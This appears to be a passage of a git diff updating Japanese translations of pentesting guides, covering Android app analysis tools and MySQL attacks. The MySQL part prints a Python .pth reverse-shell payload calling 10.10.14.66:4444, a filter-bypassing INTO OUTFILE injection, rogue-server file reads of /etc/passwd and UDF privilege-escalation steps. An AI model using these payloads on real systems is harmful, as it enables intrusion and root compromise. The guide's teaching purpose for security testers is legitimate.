レイアウトパラメータを提供します。このフラグを使用すると、ウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで表示されるのを防ぎます。 +Androidは、レイアウトパラメータFLAG_SECUREを設定することで**スクリーンショットの取得を防止**できます。このフラグを使用すると、ウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで閲覧されたりするのを防ぎます。 ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -このツールはダイナミック解析中に複数のツールを管理するのに役立ちます: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +このツールは dynamic analysis 中に複数のツールを管理するのに役立ちます: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -開発者はしばしばこれらのIntentsを処理し、`startActivity(...)`や`sendBroadcast(...)`などのメソッドに渡すプロキシコンポーネント(activities、services、broadcast receivers)を作成しますが、これは危険を伴う場合があります。 +開発者はしばしば、これらの Intents を処理して `startActivity(...)` や `sendBroadcast(...)` のようなメソッドに渡す proxy コンポーネント(activities、services、broadcast receivers など)を作成しますが、これは危険を伴う場合があります。 -この危険は、攻撃者がこれらのIntentsを誤誘導してnon-exportedなアプリコンポーネントをトリガーしたり、機密性の高いcontent providersにアクセスすることを許してしまう点にあります。代表的な例として、`WebView`が`Intent.parseUri(...)`でURLを`Intent`オブジェクトに変換し、それを実行することで、悪意あるIntent注入が発生する可能性があります。 +危険性は、攻撃者がこれらの Intents を誤誘導して non-exported なアプリコンポーネントをトリガーしたり、機密性の高い content providers にアクセスさせたりできる点にあります。顕著な例として、`WebView` コンポーネントが URL を `Intent` オブジェクトに `Intent.parseUri(...)` を使って変換し、それを実行してしまうことで、悪意ある Intent Injection を引き起こす可能性があります。 ### Essential Takeaways -- **Intent Injection** is similar to web's Open Redirect issue. -- エクスプロイトは`Intent`オブジェクトをextrasとして渡し、それがリダイレクトされて安全でない操作を実行させる方法を含みます。 -- 攻撃者にnon-exportedなコンポーネントやcontent providersを露出させる可能性があります。 -- `WebView`のURLから`Intent`への変換は意図しない動作を引き起こす可能性があります。 +- **Intent Injection** は web の Open Redirect の問題に似ています。 +- エクスプロイトは `Intent` オブジェクトを extras として渡し、それをリダイレクトして安全でない操作を実行させることを含みます。 +- non-exported なコンポーネントや content providers を攻撃者に晒す可能性があります。 +- `WebView` の URL → `Intent` 変換によって意図しない動作が発生することがあります。 ### Android Client Side Injections and others -おそらくWebでこの種の脆弱性について知っているでしょう。Androidアプリケーションでは特に以下の脆弱性に注意する必要があります: +おそらく Web でこの種の脆弱性について知っているでしょう。Android アプリケーションでは特に以下の脆弱性に注意する必要があります: -- **SQL Injection:** 動的クエリやContent-Providersを扱う際は、パラメータ化されたクエリを使用していることを確認してください。 -- **JavaScript Injection (XSS):** すべてのWebViewsでJavaScriptやPluginのサポートが無効になっていることを確認してください(デフォルトでは無効)。 [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViewsはファイルシステムへのアクセスを無効にしておくべきです(デフォルトでは有効) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: 多くの場合、Androidアプリがセッションを終了してもクッキーが取り消されない、あるいはディスクに保存されることがあります。 +- **SQL Injection:** 動的クエリや Content-Providers を扱うときは、パラメータ化されたクエリを使用していることを確認してください。 +- **JavaScript Injection (XSS):** 任意の WebViews に対して JavaScript と Plugin サポートが無効になっていることを確認してください(デフォルトでは無効)。[More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews はファイルシステムへのアクセスを無効にしておくべきです(デフォルトで有効) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: 多くのケースで Android アプリがセッションを終了しても cookie が破棄されず、ディスクに保存されることがあります。 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -597,7 +597,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ![](<../../images/image (866).png>) -**Vulnerability assessment of the application** を使いやすいWebベースのフロントエンドで実行します。動的解析も行うことができます(ただし環境の準備が必要です)。 +**Vulnerability assessment of the application** を使いやすい web-based frontend で行えます。dynamic analysis も実行できます(ただし環境の準備が必要です)。 ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -650,15 +650,15 @@ exported_activities services receivers ``` -**HTTP tools** +**HTTP ツール** -HTTPトラフィックをキャプチャすると、下部の"**HTTP(S) Traffic**"ボタンでキャプチャされたトラフィックの見にくい表示を確認でき、緑の"**Start HTTPTools**"ボタンではより見やすい表示が得られます。後者から、キャプチャしたリクエストをBurpやOwasp ZAPなどの**プロキシ**に**送信**できます。\ -その方法は、_power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> "**Send to Fuzzer**" を押す --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 +When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ +To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -MobSFでdynamic analysisを終えたら、"**Start Web API Fuzzer**"を押してhttpリクエストを**fuzz**し、脆弱性を探すことができます。 +Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. > [!TIP] -> MobSFでdynamic analysisを実行した後、プロキシ設定が誤って構成され、GUIから修正できない場合があります。次のコマンドでプロキシ設定を修正できます: +> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: > > ``` > adb shell settings put global http_proxy :0 @@ -667,17 +667,17 @@ MobSFでdynamic analysisを終えたら、"**Start Web API Fuzzer**"を押して ### Assisted Dynamic Analysis with Inspeckage You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -このツールは**Hooks**を使用して、dynamic analysis中に**アプリケーション内で何が起きているか**を知らせてくれます。 +このツールはいくつかの **Hooks** を使用して、**dynamic analysis** を行っている間にアプリケーション内で**何が起きているか**を把握できるようにします。 ### [Yaazhini](https://www.vegabird.com/yaazhini/) -GUIでstatic analysisを行うのに**優れたツール**です。 +これは **GUI を使った static analysis を実行するのに優れたツール** です ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -このツールは、source codeまたはpackaged APKsのいずれかを対象に、複数のsecurity-relatedなAndroidアプリの脆弱性を検出するよう設計されています。ツールは"Proof-of-Concept"としてデプロイ可能なAPKやADBコマンドも生成でき、発見した脆弱性のいくつか(Exposed activities、intents、tapjacking...)を悪用することが可能です。Drozerと同様に、テストデバイスをrootする必要はありません。 +This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -686,20 +686,20 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- 抽出されたすべてのファイルを表示して参照しやすくする +- 参照しやすいように抽出されたすべてのファイルを表示する - APKファイルを自動的にJavaおよびSmali形式にデコンパイルする -- AndroidManifest.xmlを解析し、一般的な脆弱性や挙動を検出する -- 一般的な脆弱性や挙動を対象とした静的ソースコード解析 -- デバイス情報 -- その他 +- AndroidManifest.xmlを分析して一般的な脆弱性や挙動を検出する +- 静的ソースコード解析により一般的な脆弱性や挙動を検出する +- デバイス情報を表示する +- など ```bash reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPERはWindows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、_.apk_ファイルを解析して脆弱性を検出します。APKsを解凍し、一連のルールを適用してそれらの脆弱性を見つけます。 +SUPERはWindows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、_.apk_ ファイルを解析して脆弱性を検出します。これはAPKsを解凍し、複数のルールを適用して脆弱性を検出することで行います。 -すべてのルールは`rules.json`ファイルに集約されており、各企業やテスターは必要に応じて独自のルールを作成できます。 +すべてのルールは `rules.json` ファイルに集約されており、各企業やテスターは必要に応じて独自のルールを作成して解析できます。 最新のバイナリは[download page](https://superanalyzer.rocks/download.html)からダウンロードしてください。 ``` @@ -709,9 +709,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAnは、モバイルアプリケーションに対して[static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)を行う開発者、bugbounty hunters、ethical hackersを支援する**crossplatform**ツールです。 +StaCoAnは、モバイルアプリケーションの[static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)を行う開発者、bugbounty hunters、ethical hackersを支援する**クロスプラットフォーム**ツールです。 -コンセプトは、モバイルアプリケーションのファイル(.apk または .ipa ファイル)を StaCoAn アプリケーションにドラッグ&ドロップすると、視覚的で持ち運び可能なレポートを生成するというものです。設定や wordlists を調整してカスタマイズされた体験を得ることができます。 +使い方は、モバイルアプリのファイル(.apk または .ipa ファイル)を StaCoAn アプリにドラッグ&ドロップすると、視覚的で持ち運び可能なレポートを自動生成する、というものです。設定や wordlists を調整してカスタマイズした出力にできます。 ダウンロード[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -719,7 +719,7 @@ StaCoAnは、モバイルアプリケーションに対して[static code analys ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework は Android 脆弱性解析システムで、developers や hackers が Android applications の潜在的な security vulnerabilities を発見するのを支援します。\ +AndroBugs Framework は、Android 脆弱性解析システムで、開発者や hackers が Android アプリケーションの潜在的なセキュリティ脆弱性を発見するのを支援します。\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -727,11 +727,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** は、Android アプリケーションによって行われる潜在的な悪意ある振る舞いを検出し、ユーザーに警告することを主目的としたツールです。 +**Androwarn** は、Android アプリケーションによって開発された潜在的な悪意ある振る舞いを検出し、ユーザーに警告することを主目的としたツールです。 -検出は、アプリケーションの Dalvik bytecode を **Smali** として表現したものの **static analysis** を、[`androguard`](https://github.com/androguard/androguard) ライブラリで実行することで行われます。 +検出は、アプリケーションの Dalvik bytecode を **Smali** として表現したものに対する **static analysis** を [`androguard`](https://github.com/androguard/androguard) ライブラリで行うことで実行されます。 -このツールは、**common behavior of "bad" applications** のような次の挙動を検出します: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +このツールは、次のような **common behavior of "bad" applications** を検出します: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -739,60 +739,60 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. モバイルアプリケーションの一般的なリバースエンジニアリングおよび解析ツールをまとめたツールで、OWASPのモバイルセキュリティ脅威に対するアプリのテストを支援します。目的は、モバイルアプリ開発者やセキュリティ担当者にとってこの作業をより簡単で扱いやすくすることです。 +**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. モバイルアプリの一般的に使用される reverse engineering と analysis ツールをまとめ、OWASP mobile security threats に対するモバイルアプリのテストを支援するツールです。目的は、この作業をモバイルアプリ開発者やセキュリティ専門家にとってより簡単で扱いやすくすることです。 -できること: +It is able to: -- さまざまなツールを使って Java および Smali コードを抽出する -- 以下を使用して APK を解析する: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- 正規表現を使用して APK から機密情報を抽出する -- Manifest を解析する -- 見つかったドメインを以下で解析する: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) および [whatweb](https://github.com/urbanadventurer/WhatWeb) -- [apk-deguard.com] を使って APK の難読化を解除する +- Extract Java and Smali code using different tools +- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Extract private information from the APK using regexps. +- Analyze the Manifest. +- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -malware の検出に便利: [https://koodous.com/](https://koodous.com/) +Useful to detect malware: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -使用するサービスや設定によって、コードを難読化した場合でも秘密情報が難読化される場合とされない場合があります。 +Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated. ### [ProGuard]() -From [Wikipedia](): **ProGuard** は Java コードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードの最適化や未使用命令の検出と削除が可能です。ProGuard はフリーソフトウェアで、GNU General Public License, version 2 の下で配布されています。 +From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Java コードを縮小・最適化し、obfuscates するオープンソースのコマンドラインツールです。bytecode の最適化や未使用命令の検出と削除が可能です。ProGuard はフリーソフトウェアで、GNU General Public License, version 2 の下で配布されています。 -ProGuard は Android SDK の一部として配布され、アプリをリリースモードでビルドするときに実行されます。 +ProGuard is distributed as part of the Android SDK and runs when building the application in release mode. ### [DexGuard](https://www.guardsquare.com/dexguard) -apk の難読化解除に関するステップバイステップのガイドは [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) を参照してください。 +Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(そのガイドによると) 最後に確認したときの DexGuard の動作モードは次の通りでした: +(From that guide) Last time we checked, the Dexguard mode of operation was: -- リソースを InputStream として読み込む -- FilterInputStream を継承したクラスに結果を渡して復号する -- リバースエンジニアの時間を少し浪費するために無駄な難読化を行う -- 復号した結果を ZipInputStream に渡して DEX ファイルを取り出す -- 最後に得られた DEX を `loadDex` メソッドを使って Resource としてロードする +- load a resource as an InputStream; +- feed the result to a class inheriting from FilterInputStream to decrypt it; +- do some useless obfuscation to waste a few minutes of time from a reverser; +- feed the decrypted result to a ZipInputStream to get a DEX file; +- finally load the resulting DEX as a Resource using the `loadDex` method. ### [DeGuard](http://apk-deguard.com) -**DeGuard は Android の難読化ツールによって行われた難読化プロセスを逆にします。これによりコードの検査やライブラリの特定など、多くのセキュリティ解析が可能になります。** +**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** -難読化された APK を彼らのプラットフォームにアップロードできます。 +obfuscated APK を彼らのプラットフォームにアップロードできます。 ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -これは android アプリの潜在的なセキュリティ脆弱性を見つけ、android アプリのコードを deobfuscate するための LLM ツールです。Google's Gemini public API を使用します。 +This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -汎用の android deobfuscator です。Simplify はアプリをほぼ実行してその挙動を理解し、その後コードを最適化して同一の挙動を保ちつつ人間にとって理解しやすくしようとします。各最適化タイプは単純かつ汎用的なので、どのような特定の難読化手法が使われているかは問題になりません。 +It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD は APK がどのように作られたかの情報を提供します。多くのコンパイラ、パッカー、オブフuscator(難読化ツール)やその他の怪しいものを識別します。Android における [_PEiD_](https://www.aldeid.com/wiki/PEiD) のような存在です。 +APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. ### Manual @@ -802,13 +802,13 @@ APKiD は APK がどのように作られたかの情報を提供します。多 ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b は ubuntu-mate ベースの Android セキュリティ仮想マシンで、最新のフレームワーク、チュートリアル、ラボをリバースエンジニアリングやマルウェア解析を行う各種セキュリティ研究者や技術者から収集して含んでいます。 +AndroL4b は ubuntu-mate ベースの Android security virtual machine で、reverse engineering と malware analysis のために様々な研究者や開発者から集められた最新のフレームワーク、チュートリアル、lab を含んでいます。 ## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) — 素晴らしいリソース集です -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) — Android クイックコース +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 優れたリソース一覧です +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index bb39436d6..39ea372b7 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,7 +4,7 @@ ## **基本情報** -**MySQL** は無償で利用できるオープンソースの **Relational Database Management System (RDBMS)** です。**Structured Query Language (SQL)** を使用して、データベースの管理と操作を行います。 +**MySQL** は無償で利用できるオープンソースの **Relational Database Management System (RDBMS)** です。**Structured Query Language (SQL)** を用いて動作し、データベースの管理と操作を可能にします。 **デフォルトポート:** 3306 ``` @@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone) mysql -h -u root mysql -h -u root@localhost ``` -## 外部列挙 +## External Enumeration -一部の列挙操作には有効な認証情報が必要です。 +一部のenumerationアクションは有効な資格情報を必要とします。 ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### MySQL 権限列挙 +### MySQL の権限列挙 ```sql #Mysql SHOW GRANTS [FOR user]; @@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +各権限の意味はドキュメントで確認できます: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) ### MySQL File RCE @@ -112,33 +112,33 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do #### INTO OUTFILE → Python `.pth` RCE (サイト固有の設定フック) -古典的な `INTO OUTFILE` プリミティブを悪用することで、後で **Python** スクリプトを実行するターゲット上で *arbitrary code execution* を得ることが可能です。 +古典的な `INTO OUTFILE` プリミティブを悪用すると、後で **Python** スクリプトが実行されるターゲット上で *任意のコード実行* を得ることが可能です。 -1. `INTO OUTFILE` を使って、`site.py` によって自動的にロードされる任意のディレクトリ(例: `.../lib/python3.10/site-packages/`)内にカスタムの **`.pth`** ファイルを置きます。 -2. `.pth` ファイルは `import ` で始まる *単一行* を含めることができ、その後に任意の Python コードを続けることで、インタプリタが起動するたびに実行されます。 -3. インタプリタが CGI スクリプトによって暗黙的に実行されると(例えばシェバング `#!/bin/python` を持つ `/cgi-bin/ml-draw.py` の場合)、ペイロードは web-server プロセスと同じ権限で実行されます(FortiWeb はそれを **root** として実行した → full pre-auth RCE)。 +1. `INTO OUTFILE` を使って、`site.py` によって自動的に読み込まれる任意のディレクトリ内(例: `.../lib/python3.10/site-packages/`)にカスタムの **`.pth`** ファイルを配置します。 +2. `.pth` ファイルは `import ` で始まる *1行* を含むことができ、その後に任意の Python コードを続けることで、インタプリタの起動時に毎回実行されます。 +3. インタプリタが CGI スクリプトによって暗黙的に実行されると(例えば shebang が `#!/bin/python` の `/cgi-bin/ml-draw.py`)、ペイロードは web-server プロセスと同じ権限で実行されます(FortiWeb はそれを **root** として実行した → full pre-auth RCE)。 -Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required): +例の `.pth` ペイロード(1行、最終的な SQL ペイロードにスペースを含められないため、hex/`UNHEX()` や文字列連結が必要になる場合があります): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -ファイルを**UNION**クエリを使って作成する例(スペース文字を`/**/`に置き換えて、`sscanf("%128s")`のスペースフィルタを回避し、合計長を≤128バイトに保つ): +**UNION** クエリを使ってファイルを作成する例(空白文字を `/**/` に置換して `sscanf("%128s")` の空白フィルタを回避し、合計長が ≤128バイトに収まるように): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` -Important limitations & bypasses: +重要な制限とバイパス: -* `INTO OUTFILE` **既存のファイルを上書きできません**; 新しいファイル名を選んでください。 -* ファイルパスは **MySQL’s CWD に対して相対的に解決されます**。そのため `../../` をプレフィックスするとパスを短縮し、絶対パス制限を回避できます。 -* 攻撃者の入力が `%128s`(または類似)で抽出される場合、スペースはペイロードを切り詰めます;スペースの代わりに MySQL コメントシーケンス `/**/` や `/*!*/` を使用してください。 -* クエリを実行する MySQL ユーザには `FILE` 権限が必要ですが、多くのアプライアンス(例: FortiWeb)ではサービスが **root** として動作しており、ほぼどこへでも書き込めます。 +* `INTO OUTFILE` **既存のファイルを上書きできない**; 新しいファイル名を選択してください。 +* ファイルパスは **MySQL の CWD に対する相対パス** として解決されるため、先頭に `../../` を付けるとパスを短縮して絶対パス制限を回避できます。 +* 攻撃者の入力が `%128s`(または類似)で抽出される場合、空白でペイロードが切り詰められるので、スペースの代わりに MySQL コメントシーケンス `/**/` や `/*!*/` を使用してください。 +* クエリを実行する MySQL ユーザは `FILE` 権限が必要ですが、多くのアプライアンス(例: FortiWeb)ではサービスが **root** として動作するため、ほぼどこにでも書き込みが可能です。 -After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution: +`.pth` を配置した後は、python インタプリタによって処理される任意の CGI をリクエストするだけでコード実行が得られます: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -Python プロセスは悪意のある `.pth` を自動的に import し、shell payload を実行します。 +Pythonプロセスは悪意のある `.pth` を自動的にimportし、shell payloadを実行します。 ``` # Attacker $ nc -lvnp 4444 @@ -147,23 +147,24 @@ uid=0(root) gid=0(root) groups=0(root) ``` --- + ## MySQL arbitrary read file by client -実際に、**load data local into a table** を実行してファイルの **content of a file** を読み込もうとすると、MySQL や MariaDB サーバーは **client to read it** と要求し、その内容を送信させます。**Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\ -この動作は次を使用している場合の挙動であることに注意してください: +実際には、**load data local into a table** を試みてファイルの **content of a file** を読み込もうとすると、the MySQL or MariaDB server は **client to read it** と要求し、その内容を送信させます。**そのため、mysql client を改ざんして自分の MySQL server に接続させることができれば、任意のファイルを読み取ることができます。**\ +これは以下を使用した場合の挙動である点に注意してください: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -("local" という単語に注意)\ -"local" がないと、次のようになります: +(「local」という単語に注意)\\ +「local」がないと次のようになります: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **最初の PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**この論文では攻撃の完全な説明と、RCE に拡張する方法まで確認できます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ -**ここで攻撃の概要を確認できます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) +**この論文では attack の完全な説明と、それを RCE に拡張する方法まで確認できます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**ここでは attack の概要が確認できます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -173,21 +174,21 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ### Mysql User -mysql が **root** として実行されていると非常に興味深い: +mysql が **root** として実行されている場合は非常に興味深いです: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` #### mysqld.cnf の危険な設定 -MySQL サービスの設定では、動作やセキュリティ対策を定義するためにさまざまな設定が用いられます: +MySQL サービスの設定では、動作やセキュリティ対策を定義するためにさまざまな設定が使用されます: -- `user` 設定は、MySQL サービスが実行されるユーザーを指定するために使用されます。 -- `password` は MySQL ユーザーに関連するパスワードを設定するために使われます。 -- `admin_address` は管理用ネットワークインターフェースで TCP/IP 接続を待ち受ける IP アドレスを指定します。 -- `debug` 変数は現在のデバッグ設定を示し、ログ内に機密情報を含む可能性があります。 -- `sql_warnings` は、警告が発生した際に単一行の INSERT ステートメントに対して情報文字列が生成されるかどうかを制御し、これがログ内に機密データを含む可能性があります。 -- `secure_file_priv` により、データのインポート/エクスポート操作の範囲が制限され、セキュリティが強化されます。 +- The **`user`** 設定は、MySQL サービスを実行するユーザーを指定するために使用されます。 +- **`password`** は、MySQL ユーザーに関連付けられたパスワードを設定するために使用されます。 +- **`admin_address`** は、管理用ネットワークインターフェースで TCP/IP 接続を受け付ける IP アドレスを指定します。 +- The **`debug`** 変数は現在のデバッグ設定を示し、logs 内に機密情報が含まれることがあります。 +- **`sql_warnings`** は、警告が発生した際に単一行の INSERT 文用の情報文字列が生成されるかどうかを管理し、これらが logs に機密データを含む可能性があります。 +- **`secure_file_priv`** により、データのインポート/エクスポート操作の範囲が制限され、セキュリティが向上します。 ### Privilege escalation ```bash @@ -207,18 +208,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### ライブラリ経由の権限昇格 +### Privilege Escalation via library -もし **mysql サーバが root として実行されている**(または別のより権限の高いユーザで実行されている)場合、コマンドを実行させることができます。そのためには **ユーザー定義関数** を使用する必要があります。ユーザー定義関数を作成するには、mysql が動作している OS 用の **ライブラリ** が必要です。 +If the **mysql server is running as root**(またはより権限の高い別のユーザで動作している場合)、コマンドを実行させることができます。そのためには**user defined functions**を使用する必要があります。そして**user defined functions**を作成するには、mysqlを実行しているOS用の**library**が必要です。 -使用する悪意のあるライブラリは sqlmap や metasploit 内にあり、**`locate "*lib_mysqludf_sys*"`** を実行すると見つかります。**`.so`** ファイルは **linux** のライブラリで、**`.dll`** は **Windows** のライブラリなので、必要な方を選んでください。 +悪意のあるlibraryはsqlmapやmetasploit内で、**`locate "*lib_mysqludf_sys*"`**を実行すると見つかります。**`.so`**ファイルは**linux**のlibraryで、**`.dll`**は**Windows**用のものです。必要な方を選んでください。 -もし **それらのライブラリを持っていない**場合は、**探す**か、あるいはこの [**linux C code**](https://www.exploit-db.com/exploits/1518) をダウンロードして **linux の脆弱なマシン内でコンパイルする**ことができます: +もしそれらのlibrariesを**don't have**場合は、**look for them**するか、この[**linux C code**](https://www.exploit-db.com/exploits/1518)をダウンロードして、**compile it inside the linux vulnerable machine**してください: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -ライブラリを入手したら、特権ユーザー(root?)として Mysql に login し、以下の手順に従ってください: +ライブラリを入手したら、特権ユーザー(root?)として Mysql にログインし、次の手順に従ってください: #### Linux ```sql @@ -252,38 